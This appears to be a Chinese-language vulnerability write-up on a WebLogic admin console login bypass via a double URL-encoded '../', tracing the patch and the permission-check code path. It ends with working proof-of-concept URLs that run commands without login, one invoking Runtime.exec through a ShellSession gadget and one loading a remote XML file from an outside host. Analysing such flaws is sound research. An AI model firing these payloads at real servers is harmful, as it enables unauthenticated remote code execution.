簡介
weblogic 管理控制台需要用戶名和密碼去登錄,但是通過該漏洞,可以繞過登錄校驗,直接進入后台訪問weblogic的各種資源。
補丁diff
在這里我的weblogic版本為12.2.1.4,其他版本都大同小異。下面我們看一下補丁diff結果
因為這個類是weblogic從http訪問的處理類,直接禁止url是否包含危險字符,如果包含,則直接退出。修復方案簡單粗暴,不得不佩服。危險字符主要有以下幾個
private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E",
"..", "%3C", "%3E", "<", ">"};
weblogic 管理控制台權限控制分析
要分析這個洞,首先我們需要了解一下,登錄weblogic管理控制台的權限控制
在處理url的weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法
中,調用如下的代碼去判斷權限等一切有關於安全的內容。代碼如下
if (context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
if (s != null) {
int count = ((SessionSecurityData)s).getConcurrentRequestCount();
if (maxConcurrentRequestsAllowed != -1 && count > maxConcurrentRequestsAllowed) {
context.logError("Rejecting request since concurrent requests allowable limit exceeded :" + maxConcurrentRequestsAllowed);
rsp.sendError(500);
return;
}
}
在weblogic.servlet.security.internal.WebAppSecurity#checkAccess(HttpServletRequest, HttpServletResponse, boolean, boolean, boolean)
中,判斷是否所有url都需要權限。當然,訪問靜態資源肯定是不需要登陸的,可能是為了瀏覽器兼容性考慮,因為大部分瀏覽器在登陸后,對訪問靜態資源都會添加cookie頭,只有個別瀏覽器不會。
所以weblogic將會根據訪問的url,也就是是否為靜態資源,去返回一個ResourceConstraint
對象。該對象描述了該url訪問的資源的詳細權限信息
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);
authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint,
applyAuthFilters)
然后調用weblogic.servlet.security.internal.SecurityModule#isAuthorized
方法,在該方法中獲取用戶session,調用weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess
方法做進一步權限校驗。
最后會在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中調用weblogic.servlet.security.internal.WebAppSecurity#hasPermission方法,根據最開始生成的ResourceConstraint
對象,判斷該次http請求是否有權限。如圖所示
如果用戶訪問的是靜態資源,則返回unrestricted的值,hasPermission返回為true,weblogic認為你有權限訪問,於是就會放行。如果你訪問非靜態權限,則直接攔截你的請求,重定向至登陸頁。
於是繞過登錄的關鍵在於,怎么訪問正常的資源,但是weblogic返回的是靜態資源的ResourceConstraint
對象
權限繞過分析
我們回到最開始的
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request)
跟入weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)
ResourceConstraint rcForAllMethods = consForAllMethods == null ? null :
(ResourceConstraint)consForAllMethods.get(relURI);
在這里會調用weblogic.servlet.utils.StandardURLMapping#get
去根據url,返回對應的ResourceConstraint
對象。
public Object get(String path) {
path = path.length() == 0 ? "/" : this.cased(path);
Object value = null;
if ((value = this.getExactOrPathMatch(path)) != null) {
return value;
} else {
return (value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
}
}
首先調用getExactOrPathMatch
方法,也就是根據url,匹配是否在靜態資源列表中,
而 %252E%252E%252F
恰好是../的url二次編碼結果。這樣既可以返回靜態資源的ResourceConstraint
對象,又不會影響正常訪問。
weblogic 二次編碼原因
在poc中我們可以看到,../
被二次編碼了。下面我們來分析一下weblogic能解開的原因
根據http規定,url部分,需要url編碼后發送給服務器。服務器正常解開並繼續處理。這是第一層url編碼
第二層編碼的處理,在com.bea.netuix.servlets.manager.UIServletInternal#getTree
中,
public static UIControl getTree(String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {
HttpServletRequest request = ctxt.getServletRequest();
HttpServletResponse response = ctxt.getServletResponse();
requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());
其中URLDecoder.decode
會對第一次編碼后的url做第二次解碼的工作,當然,如果url還存在url編碼的話。
這也就是為什么兩次編碼可以繞過的原因。
一次url編碼為什么不可以繞過?因為經過服務器一次解碼后,在weblogic.servlet.utils.StandardURLMapping#get
處,無法匹配到靜態資源。會被還原成原本的url,所以無法繞過。。大家有機會可以看一下weblogic.utils.collections.MatchMap#match
關於查找的代碼
POC
weblogic 12
http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);
因為com.tangosol.coherence.mvel2.sh.ShellSession
這個gadget,只存在於weblogic 12,weblogic10 並沒有這個gadget(沒有包),所以無法使用
weblogic 10
因為weblogic 10沒有相關gadget所以會報錯,如圖
需要使用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
poc如下
http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.184.1:8000/spel.xml")